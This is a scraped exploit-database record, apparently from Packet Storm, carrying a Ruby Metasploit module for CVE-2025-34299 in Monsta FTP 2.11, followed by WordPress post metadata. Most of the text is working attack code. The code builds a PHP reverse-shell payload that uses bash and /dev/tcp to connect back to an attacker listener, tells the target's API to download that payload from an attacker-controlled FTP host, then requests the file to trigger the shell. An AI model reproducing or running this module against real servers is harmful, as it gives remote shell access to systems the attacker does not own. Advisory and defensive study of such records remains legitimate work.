{“lastseen”:”2026-01-30T17:49:13″,”description”:”This Metasploit module exploits a vulnerability in Monsta FTP version 2.11 and enables remote file injection by creating a malicious FTP server. The application builds this server to upload a malicious PHP file reverse shell. After the file is…”,”published”:”2026-01-30T00:00:00″,”modified”:”2026-01-30T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Monsta FTP 2.11 Remote File Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214616″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34299″],”sourceData”:”=============================================================================================================================================\\n | # Title : Monsta FTP 2.11 Remote File Injection |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.monstaftp.com\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212150\/ \\u0026 \\t\\tCVE-2025-34299\\n \\n [+] Summary : This Metasploit module exploits a vulnerability in Monsta FTP and enables Remote File Injection by creating a malicious FTP server. \\n The application builds this server to upload a malicious PHP file (Reverse Shell).\\n After the file is uploaded, the module immediately verifies the possibility of reversal.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit Framework and Ruby\\n ##\\n \\n require ‘msf\/core’\\n require ‘net\/http’\\n require ‘json’\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = NormalRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘Monsta FTP CVE-2025-34299 Exploit’,\\n ‘Description’ =\\u003e %q{\\n Exploits Monsta FTP vulnerability CVE-2025-34299 to upload a PHP reverse shell\\n via a malicious FTP server.\\n },\\n ‘Author’ =\\u003e [‘Indoushka’],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e\\n [\\n [‘CVE’, ‘2025-34299’]\\n ],\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP,\\n ‘Targets’ =\\u003e [[‘Monsta FTP \\u003c= 2025-34299’, {}]],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2025-11-21’))\\n \\n register_options(\\n [\\n Opt::RHOST(),\\n Opt::RPORT(80),\\n OptString.new(‘TARGETURI’, [true, ‘Base path to Monsta FTP’, ‘\/’]),\\n OptString.new(‘FTP_HOST’, [true, ‘Attacker FTP host’, ‘172.17.0.1’]),\\n OptInt.new(‘FTP_PORT’, [true, ‘Attacker FTP port’, 2121]),\\n OptString.new(‘LHOST’, [true, ‘Listener host’, ‘172.17.0.1’]),\\n OptInt.new(‘LPORT’, [true, ‘Listener port’, 4444])\\n ])\\n end\\n \\n def generate_payload(filename)\\n \\”\\u003c?php $f=__FILE__; exec(\\\\\\”\/bin\/bash -c ‘bash -i \\u003e\\u0026 \/dev\/tcp\/#{datastore[‘LHOST’]}\/#{datastore[‘LPORT’]} 0\\u003e\\u00261 \\u0026’\\\\\\”); unlink($f); ?\\u003e\\”\\n end\\n \\n def exploit\\n print_status(\\”Starting malicious FTP server…\\”)\\n \\n require ‘webrick’\\n require ‘tmpdir’\\n require ‘securerandom’\\n \\n ftp_dir = Dir.mktmpdir\\n random_file = \\”#{SecureRandom.hex(6)}.php\\”\\n payload_path = File.join(ftp_dir, random_file)\\n \\n File.open(payload_path, ‘w’) { |f| f.write(generate_payload(random_file)) }\\n print_status(\\”Payload written to #{payload_path}\\”)\\n \\n # Generate random credentials\\n user = SecureRandom.hex(4)\\n pwd = SecureRandom.hex(6)\\n \\n # Start FTP server\\n print_status(\\”FTP server would start here (simulate or run external server)\\”)\\n \\n # Prepare request to Monsta FTP API\\n api_url = normalize_uri(datastore[‘TARGETURI’], ‘application\/api\/api.php’)\\n \\n data = {\\n connectionType: ‘ftp’,\\n configuration: {\\n host: datastore[‘FTP_HOST’],\\n username: user,\\n password: pwd,\\n port: datastore[‘FTP_PORT’],\\n initialDirectory: ‘\/’\\n },\\n actionName: ‘downloadFile’,\\n context: {\\n remotePath: \\”\/#{random_file}\\”,\\n localPath: random_file\\n }\\n }\\n \\n begin\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e api_url,\\n ‘ctype’ =\\u003e ‘application\/x-www-form-urlencoded’,\\n ‘data’ =\\u003e \\”request=#{data.to_json}\\”\\n })\\n \\n if res \\u0026\\u0026 res.code == 200\\n begin\\n json_res = JSON.parse(res.body)\\n if json_res[‘success’]\\n print_good(\\”Payload uploaded successfully: #{normalize_uri(datastore[‘TARGETURI’], ‘application\/api’, random_file)}\\”)\\n print_status(\\”Triggering reverse shell…\\”)\\n send_request_cgi({‘method’ =\\u003e ‘GET’, ‘uri’ =\\u003e normalize_uri(datastore[‘TARGETURI’], ‘application\/api’, random_file)})\\n return\\n end\\n rescue JSON::ParserError\\n print_error(\\”Failed to parse JSON response: #{res.body}\\”)\\n end\\n else\\n print_error(\\”HTTP request failed\\”)\\n end\\n rescue ::Rex::ConnectionError\\n print_error(\\”Failed to connect to target\\”)\\n end\\n end\\n end\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214616″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214616\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-30T17:49:13″,”description”:”This Metasploit module exploits a vulnerability in Monsta FTP version 2.11 and enables remote file injection by creating a malicious FTP server. The application builds…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-38346","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n